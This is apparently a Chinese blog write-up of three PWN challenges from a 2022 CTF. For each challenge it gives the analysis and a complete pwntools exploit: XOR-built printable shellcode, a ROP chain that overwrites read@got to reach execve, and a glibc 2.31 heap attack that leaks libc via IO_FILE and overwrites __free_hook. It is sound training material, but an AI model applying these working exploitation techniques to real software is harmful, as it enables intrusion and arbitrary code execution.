DASCTF X GFCTF 2022十月挑战赛-PWN-WP

1!5!

题目保护情况

image-20240727141614221.png

64位ida逆向

image-20240727151036170

题目很明确让我们写shellcode,但是做了一些检查我们进入函数看看

image-20240727151137542

分析

那么思路很明确就是可见字符shellcode的编写,先看看我们能用什么

image-20240727151420684

那么可以看见,我们可以用异或,没有pop rsi;pop rdi;还有syscall等命令可以用,pop rdi的机器码是\x5f,而pop rsi的机器码是\x5e,syscall的机器码是\x0f\x05,这些虽然都不能直接输入,但是我们可以通过异或(xor)来得到他们,例如syscall,可以通过

\x41\x41和\x4e\x44来得到syscall

image-20240727152321660

image-20240727152421298

因为是小端序所以实际写入的时候写0x444e,那么还有一个问题想要用相同的方法得到pop rdi,和pop rsi,比较容易,如果是/bin/sh呢,而且本题限制的可见数字字符也比较多,所以思路是通过调用一个syscall_read来读取我们正常的shellcode,因为此时已经不用通过检查了,那么就可以得到shell了。

那么继续现在还有rdx,和rax还没有解决,可以先调试到要执行代码的地方看看栈和寄存器的值

image-20240727153313531

那么可以看见此时rax正好是0,rdx的值是我们输入shellocde的地址,那么我们可以把rdx 和rax push到栈上然后分别pop给rdi和rsi,那么就可以完成系统调用read。

思路

通过xor,异或出syscall和pop rdi 和 rsi 放在rdx+某处的地方,然后一直pop rax(rax置为0)滑到执行push rdx 和push rax的地方最后执行sysacll

image-20240727155125080

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *
context(log_level='debug',arch='amd64',os='linux')

io = process('./22sh')


shellcode="""
xor eax,0x31315756
xor dword ptr[rdx+0x50],eax
pop rax
xor eax,0x31314848
xor dword ptr[rdx+0x50],eax
pop rax
xor eax,0x3131444e
xor dword ptr[rdx+0x52],eax
"""
#gdb.attach(io)
io.send((asm(shellcode).ljust(0x50-2,b'\x58')+b'\x52\x50'+b'\x41'*4).ljust(0x200,b'\x58'))

print(len(asm(shellcode)))

payload = b'\x90'*0x100 + asm(shellcraft.sh())
io.send(payload)



io.interactive()

R()P

程序保护情况

image-20240727155253935

64位ida逆向

image-20240727155403448

分析

题目逻辑比较简单,大致让你上来输入一个4字节数据不能大于0x100,然后根据你输入的大小进行读入buf(buf大小0xc)有溢出,那么找一下gadget什么的

image-20240727155649490

那么很不幸的是没有pop rdi 那一类的gadget给我们用,只能到程序去找了

image-20240727155808525

看到这些想到了什么,syscall对吧,那么程序也没有syscall的onegadget给我们,那么还有一种思路就是修改read的got表,因为调用read的时候其实底层是通过系统调用来执行syscall_read的

image-20240727160203968

那么可以看见,就差一个字节就可以把read的got表换成syscall,那么怎么改呢?还记得前面说的,我们可以控制rsi,那么就可以实现任意地址写了,那么现在还有一个问题,rdi怎么办,如果要实现系统调用拿到shell,是需要rdi为/bin/sh的或者sh的,那么我们可以写入/bin/sh,那么我们看看有没有关于rdi的gadget

image-20240727160516271

那么我们找的一个edi的gadget,那么我们只需要把/bin/sh写入0x404018即可,然后跳到rax,那么就要保证rax是一个可以执行的地址。

思路

改read@got为syscall,将/bin/sh写入0x404018中,然后依次控制,rdx,rdi,rax,rsi,因为要控制rdx的时候rdi会被清0,所以要按着顺序来,最后得到shell。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *
context(log_level='debug',arch='amd64',os='linux')

io = process('./rpp')
elf =ELF('./rpp')
size = b'\x00\x01\x00\x00'
gdb.attach(io)
io.send(size)

ret = 0x40115A
mov_edi_jmp = 0x0000000000401099

payload = b'a'*4 +p32(elf.got['read']) +b'c'*4 +b'd'*4+ p64(ret)
payload += p64(0xdeadbeef) + p32(0x404018)*2 + p64(0xdeadbeef)+p64(ret)
io.send(payload)
pause()
io.send('\xe0')
pause()
io.send('/bin/sh\x00')
pause()
io.send(size)

payload = b'a'*4 + p32(0x40116D) + b'c'*4 +b'd'*4 + p64(0x40115D)
payload += p64(0)*3 + p64(0x40116D) + p64(0xdeadbeef) + p32(0x40116D)*2 + p64(0xdeadbeef) + p64(mov_edi_jmp)
payload += p64(0xdeadbeef) + p32(0x3b)*2 + p64(0xdeadbeef) + p64(0x401141) + p64(0)*2


io.send(payload)
io.interactive()

Magic_Book

程序保护情况

image-20240727161116505

64位ida载入

首先最引入注意的是有一次UAF的机会

image-20240727161233654

add最多申请18个堆块,然后最大不超过0x100

image-20240727161357899

然后还有正常的free,没有UAF

image-20240727161442747

分析

虽然有UAF,但是本题版本是2.31的,我们知道在2.29之后的glibc,对double_free增加了一个检查机制,也就是key机制,它保存在bk指针处,它的值是tcache_perthread_struct,在free的时候如果发现链表中存在这个堆块那么就会报错。并且本题没有show功能,如果要泄露libc,可以考虑打io去爆破。

思路

通过申请堆块7让接下来要double_free的堆块进入unsortebin,那么它bk指针的key就被修改了,然后在free一次让他加入tachbin链表中,那么实现了一个堆块即在unsortbin中又在tachbin链表中,然后通过申请堆块改变tachbin堆块的fd指针实现leak libc,然后可以继续修改unsortbin头部的大小进行向下申请(注意要伪造prev size),修改下一个fd指针为free_hook,进而通过申请修改为system。

注意

有个小点,就是需要两条tachbin链,因为第一次leak libc已经破坏了一个了,所以接下来还需要另一条链来完成接下来的操作,还要一个就是进入unsortbin的时候先free高地址的,然后free低地址,这样会合并,然后继续伪造堆块延长unsortbin,使其可以渗透进tachbin中

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
from pwn import *
context(log_level='debug',arch='amd64',os='linux')

#io = process('./book')
libc = ELF('/home/su/glibc-all-in-one/libs/2.31-0ubuntu9_amd64/libc-2.31.so')



def add(size,msg):
io.sendlineafter('choice : ','1')
io.sendlineafter('Size: ',str(size))
io.sendafter('Content: ',msg)


def free(index):
io.sendlineafter('choice : ','2')
io.sendlineafter('Index: ',str(index))


def uaf(index):
io.sendlineafter('choice : ','9')
io.sendlineafter('Index: ',str(index))

def pwn():
add(0x100,'a') #0
add(0x100,'b') #1
add(0x80,'c') #2
payload = p64(0xdeadbeef) * 14 + p64(0x180) + p64(0x90)
add(0x100,payload) #3

#gdb.attach(io)
for _ in range(6):
add(0x100,'a')


for i in range(3,10):
free(i)
#gdb.attach(io)
uaf(1)
free(0)
add(0x100,'a') #10
free(1)
add(0x70,'a') #11
add(0x80,'b') #12
payload = b'\xa0\x56'
#gdb.attach(io)
add(0x90,payload) #13

payload = p64(0xdeadbeef) *18 + p64(0) + p64(0x180)
add(0x100,payload) #14
payload = p64(0xfbad1887) + p64(0)*3 + b'\x08'
add(0x100,payload) #15
libc_base = u64(io.recv(6).ljust(8,b'\x00')) - 0x1c6980
#pause()
if (libc_base & 0xfff) != 0:
return False
success('libc_base---->'+hex(libc_base))
free_hook = libc_base + libc.sym['__free_hook'] - 0x25000
system = libc_base + libc.sym['system'] - 0x25000
free(12)
free(2)

payload = b'a'*0x60 + p64(0x70) + p64(0x90) + p64(free_hook)
add(0xb0,payload) #16
add(0x80,'/bin/sh\x00') #17
add(0x80,p64(system))
free(17)
io.interactive()

while True:
try:
io = process('./book')
if pwn():
break
except:
io.close()

DASCTF X GFCTF 2022十月挑战赛-PWN-WP
https://ch13hh.github.io/2024/07/27/DASCTF X GFCTF 2022十月挑战赛-PWN-WP/
发布于
2024年7月27日
许可协议